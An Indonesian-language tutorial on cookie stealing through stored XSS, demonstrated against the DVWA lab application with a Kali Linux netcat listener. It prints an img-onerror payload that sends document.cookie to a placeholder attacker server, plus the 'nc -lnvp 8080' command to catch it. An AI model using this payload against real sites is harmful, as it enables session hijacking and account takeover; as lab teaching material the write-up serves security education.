Web Penetration Testing : Cookie Stealing Pada XSS

Dalam era digital yang semakin maju, keamanan aplikasi web menjadi salah satu aspek yang sangat krusial. Setiap harinya, ancaman keamanan siber terus berkembang dan semakin kompleks, memaksa pengembang dan ahli keamanan untuk selalu waspada dan siap menghadapi berbagai jenis serangan. Salah satu serangan yang sering ditemui dan sangat berbahaya adalah Cross-Site Scripting (XSS). Serangan XSS memungkinkan penyerang untuk menyuntikkan skrip berbahaya ke dalam halaman web yang dapat dieksekusi oleh pengguna lain. Salah satu teknik yang dapat digunakan oleh penyerang melalui XSS adalah mencuri cookie pengguna.

Cookie

Cookie adalah data kecil yang dikirim dari server web ke browser pengguna dan disimpan di perangkat pengguna. Fungsi utama cookie adalah untuk menyimpan informasi yang dapat digunakan oleh situs web untuk mengenali pengguna dan mengingat aktivitas atau preferensi mereka dari satu kunjungan ke kunjungan berikutnya.

Setiap kali pengguna mengunjungi situs web, server dapat membaca cookie yang tersimpan di browser mereka untuk mengingat informasi tertentu, seperti sesi login, item dalam keranjang belanja, atau preferensi bahasa. Dengan demikian, cookie memungkinkan situs web untuk menyediakan pengalaman yang lebih personal dan efisien.

Ada beberapa jenis cookie yang umum digunakan :

  • Session Cookies: Cookie sementara yang dihapus begitu pengguna menutup browser. Biasanya digunakan untuk melacak sesi pengguna selama kunjungan mereka ke situs web.
  • Persistent Cookies: Cookie yang tetap tersimpan di perangkat pengguna untuk jangka waktu tertentu, bahkan setelah browser ditutup. Ini memungkinkan situs web untuk mengingat pengguna dan preferensi mereka untuk kunjungan berikutnya.
  • Secure Cookies: Cookie yang hanya dikirim melalui koneksi HTTPS, memastikan bahwa data yang ditransfer aman dari penyadapan pihak ketiga.
  • HttpOnly Cookies: Cookie yang hanya dapat diakses oleh server dan tidak dapat diakses melalui skrip sisi klien seperti JavaScript, meningkatkan keamanan dari serangan seperti Cross-Site Scripting (XSS).

Tutorial

  1. Pertama skema skenario serangan nya, penulis ambil salah satu gambar dari kursus keamanan siber pada platfrom cyber academy Indonesia :
  2. Gambar di atas, peretas menemukan website dan mencari bidang inputan yang memiliki kerentanan XSS dan memasukkan sebuah payload XSS seperti ini :

    <img src=x onerror=this.src='http://<IP SERVER HACKER>:<PORT>/?c='+document.cookie>

    Payload di atas akan tereksekusi oleh web ketika peretas berhasil memasukkan pada bidang inputan karena tidak ada nya validasi. Ketika ada salah satu pengguna lain sebagai korban mengunjungi web tersebut maka informasi login akan terkirim ke server hacker.

  3. Langkah kedua kita harus di ibarat kan ada web yang rentan di sini web nya adalah DVWA sebagai studi kasus serangan cookie stealing.

  4. Selanjut nya, katakanlah pada posisi ini ada peretas mengunjungi DVWA sebagai web yang rentan, peretas menggunakan kali linux dan memasukkan payload nya :
  5. Gambar di atas lalu peretas menekan tombol sign guestbook untuk memasukkan payload nya di dalam bidang inputan web. Peretas lalu menggunakan netcat untuk menyiapkan server nya :
  6. Perintah nya :

    nc -lnvp 8080

    Perintah nc -lnvp 8080 digunakan dalam utilitas netcat untuk tugas-tugas jaringan. Dalam perintah ini, opsi -l memberitahu netcat untuk beroperasi dalam mode listening, yang berarti akan menunggu koneksi masuk daripada menginisiasi koneksi keluar. Opsi -n menginstruksikan netcat untuk tidak melakukan DNS lookup pada alamat atau port yang diberikan, mempercepat koneksi karena tidak perlu menerjemahkan nama host atau layanan.

    Opsi -v mengaktifkan verbose mode, yang memberikan lebih banyak output dan informasi tentang apa yang sedang dilakukan, seperti detail koneksi yang diterima. Terakhir, opsi -p 8080 menentukan bahwa netcat akan mendengarkan koneksi pada port 8080. Secara keseluruhan, perintah ini membuat netcat mendengarkan pada port 8080 tanpa DNS lookup, memberikan output yang lebih rinci, dan menunggu koneksi masuk, yang sering digunakan untuk debugging jaringan, mengatur koneksi sementara, atau sebagai bagian dari eksploitasi keamanan dalam pengujian penetrasi.

  7. Lalu sebagai korban katakanlah korban mengakses web DVWA nya di windows di sebelah kanan dan di sebelah kiri server yang telah di siapkan oleh peretas pada kali linux :
  8. Pada gambar di atas, serangan cookie stealing berhasil dilakukan. Hasilnya, peretas dapat melihat informasi login seperti cookie untuk masuk ke aplikasi web dengan otorisasi pengguna tanpa login. Studi kasus nyata nya, jika pengguna yang diserang memiliki peran sebagai admin maka peretas bisa masuk dan bertindak sebagai admin.

  9. Selesai.

Penutup

Dalam artikel ini, kita telah membahas bagaimana serangan Cross-Site Scripting (XSS) dapat digunakan untuk mencuri cookie pengguna, yang merupakan salah satu ancaman serius terhadap keamanan aplikasi web. Teknik ini memungkinkan penyerang untuk mendapatkan akses tidak sah ke informasi sensitif dan melakukan tindakan berbahaya dengan otorisasi pengguna yang sah.